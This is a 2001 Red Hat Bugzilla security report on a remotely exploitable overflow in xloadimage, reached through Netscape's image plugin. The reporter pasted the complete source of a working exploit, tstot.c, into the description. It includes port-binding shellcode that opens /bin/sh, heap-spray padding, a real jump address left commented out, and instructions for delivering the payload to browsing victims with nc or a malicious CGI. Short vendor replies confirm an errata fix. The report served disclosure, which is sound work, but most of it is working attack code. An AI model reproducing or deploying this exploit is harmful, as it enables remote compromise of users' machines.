Bug 46186
Summary: | remotely exploitable overflow via Netscape | ||
---|---|---|---|
Product: | [Retired] Red Hat Linux | Reporter: | Need Real Name <empathy> |
Component: | xloadimage | Assignee: | Bill Nottingham <notting> |
Status: | CLOSED ERRATA | QA Contact: | |
Severity: | medium | Docs Contact: | |
Priority: | medium | ||
Version: | 7.0 | CC: | jarno.huuskonen, rvokal |
Target Milestone: | --- | Keywords: | Security |
Target Release: | --- | ||
Hardware: | i386 | ||
OS: | Linux | ||
Whiteboard: | |||
Fixed In Version: | Doc Type: | Bug Fix | |
Doc Text: | Story Points: | --- | |
Clone Of: | Environment: | ||
Last Closed: | 2001-06-28 16:07:24 UTC | Type: | --- |
Regression: | --- | Mount Type: | --- |
Documentation: | --- | CRM: | |
Verified Versions: | Category: | --- | |
oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
Cloudforms Team: | --- | Target Upstream Version: | |
Embargoed: |
Description
Need Real Name
2001-06-27 11:33:26 UTC
Bugzilla doesn't won't to let me attach... it asks me for my username and password each time i try do anything that makes a change, accepts it, lets me get to the next part, then forgets and asks for them again... I guess I'll just paste it here then... coz i really can't be bothered posting another bug for this. (Prolly something to do with corrupt cookies?) *******************************WARNING******************************** this code is only slightly protected from script kiddie abuse so you might want to deal with it quickly. *******************************WARNING******************************** // tstot.c /************************************************************************ zen-parse presents tstot.c - remote portbinding exploit for RedHat 7.0 Netscape 4.77 xloadimage-4.1-16 tt sssss tt ooooo tt tttttttt ss tttttttt oo oo tttttttt tt ssss tt oo oo tt tt ss tt oo oo tt tt ssss tt ooooo tt xloadimage has a remotely exploitable buffer overflow. Exploit :Sun Jun 24 21:34:04 2001 NZST Advisory :Wed Jun 27 20:58:13 2001 NZST TEMP FIX: bash-2.05# chmod -x /usr/X11R6/bin/xloadimage and wait for the update to become available. NB: this 'fix' could break some other programs until its fixed. /usr/X11R6/bin/xloadimage is a plugin, used by Netscape 4.77 (at least?), via /usr/lib/netscape/plugins/plugger.so, to display certain types of images (TIFF and Sun Rasterfile formats, as the setup in /etc/pluggerrc has by default) in the Netscape browser window. The problem is, xloadimage has an exploitable overflow in the handling of FACES format images. How does that affect us? We are only using this program to view TIFF and Sun Rasterfile types, aren't we? Yes... but the browser only bases the file type on the type its told by the webserver and the webserver only (tends to?) base what type of file it is by the extension. So pipe the output to a file called image.tif and put it on the server, and reference it in a webpage. The server, when sending the file, does exactly what it should, and sends to Netscape the header Content-Type: image/tiff which causes Netscape to look up in its internal tables, and see that this type is handled by plugger.so. Netscape then calls the plugger.so handler, which looks up it's table, and consulting /etc/pluggerrc sees: image/tiff: tiff,tif: TIFF image image/x-tiff: tiff,tif: TIFF image image/sun-raster: rs: SUN raster image image/x-sun-raster: rs: SUN raster image exits: xloadimage -quiet -windowid $window $file exits: display -window $window -backdrop $file "Ok," it thinks, "I'm going to open up a TIFF image from $file with xloadimage in $window. Not a problem." Then it inserts the filename (which Netscape passes it, and points to a file in the Netscape cache) and the windowid (which it was also passed by Netscape) into the command and launches it. xloadimage analyses the file, and determines that the file is actually a 32x32 8-bit grayscale Faces Project image, and not a TIFF image as the http header and the extension of the file says, and continues to open it. Then it launches our shellcode, due to a silly coding error. ********************************************************************** The silly coding error looks something like this: char buf[8200]; char fn[8200]; char ln[8200]; ... fgets(buf,8192,filestream); // looks like trying to avoid an overflow ? if(!(strncmp(buf, "FirstName:", 10))) strcpy(fn,&buf[10]); if(!(strncmp(buf, "LastName:", 10))) strcpy(fn,&buf[10]); ... strcat(fn,ln); /// b00m. stack based overflow. *********************************************************************** Because the overflow happens remotely, and its not easy to guess what the user on the other end has in their environment jumping back into the stack seems like it could be a bad idea. So I jump into the middle of the malloced code. This may be a little risky, because the malloc() addresses do vary over different machines with different updates, and I can't really ask them what versions of stuff they are running (except Netscape itself) so I pad the heap with a large amount of jump/nop code before the overflow happens, and jump into where there should be something (The short jmps are to jump over the garbage between the chunks.) 0x080e1337 is around the middle of the area on my machine, and has worked on a different machine as well, and it is also a 31337 address to jump to ;] If this doesn't work, it would be possible to increase the garbage size so the target is bigger still by inserting a few more copies of the lines between the // ...Garbage... lines. There is of course the chance that the return address will land between the padding, but thats life, isn't it? In case you don't get it, 0xdeadbeef is for testing and the kiddies. -- zen-parse How to test: bash-2.04$ make tstot cc tstot.c -o tstot bash-2.04$ ./tstot >tstot.tif bash-2.04$ ls -al tstot.tif -rw-r--r-- 1 evil evil 75707 Jun 27 16:53 tstot.tif bash-2.04$ gdb -q xloadimage (no debugging symbols found)...(gdb) r evil.tif Starting program: /usr/X11R6/bin/xloadimage evil.tif (no debugging symbols found)...(no debugging symbols found)... evil.tif is a 32x32 8-bit grayscale Faces Project image (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0xdeadbeef in ?? () (gdb) (another way of launching the exploit if you want is: bash-2.04$ ./tstot something|nc -l -p 9876 and make a refresh in your html to it... <META HTTP-EQUIV="Refresh" Content="1;url=http://youraddress:9876/"> This could also be made into an evil cgi-bin that checks for a (potentially) vulnerable machine before firing it to them, and then connects to the listening port and 0wns them with a local exploit. The general warning: A program doesn't have to be setuid to cause problems. It just has to be run in a context that the exploiter wants to be able to execute code in. Just because the program you write is not going to be setuid, doesn't mean one day someone isn't going to use it some otherway where it is running with elevated privileges. ************************************************************************/ //#define TARGET 0x080e1337 //as 1337 as the 1337357 kiddies. #define TARGET 0xdeadbeef // lamagra's port binding shell code (from bind.c in the sc.tar.gz) // char lamagra_bind_code[] = "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; // slight modification so it listens on 7465 instead of 3879 // TAGS is easier to remember ;] char * this (int doit) { char *p; int v; p = (char *) malloc (8200); memset (p, 0x90, 8200); if (!doit) for (v = 0; v < 8100; v += 122) { p[v] = 0xeb; p[v + 1] = 120; } if (doit) memcpy (&p[7000], lamagra_bind_code, strlen (lamagra_bind_code)); p[8199] = 0; return p; } main (int argc) { int z0, x = TARGET; int z1, y = x; int p; char *q; if (argc > 1) printf ("HTTP/1.0 200\nContent-Type: image/x-tiff\n\n"); printf ("FirstName: %s\n", this (0)); printf ("LastName: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"); printf ("%s\n", &x); // Begin Padding Heap With 'Garbage' (nop/jmp) printf ("%s", this (0)); printf ("%s", this (0)); printf ("%s", this (0)); printf ("%s", this (0)); printf ("%s", this (0)); printf ("%s", this (0)); // Begin Padding Heap With 'Garbage' (nop/jmp) printf ("%s", this (1)); printf ("http://www.mp3.com/cosv\nPicData: 32 32 8\n"); printf ("\n"); for (p = 0; p < 9994; p += 1) printf ("A"); } // EOF -- tstot.c -- oops: ...and reference it in a webpage. It seems to need to be loaded in its own window to work. looking into it - thanks. Fixed in the errata. |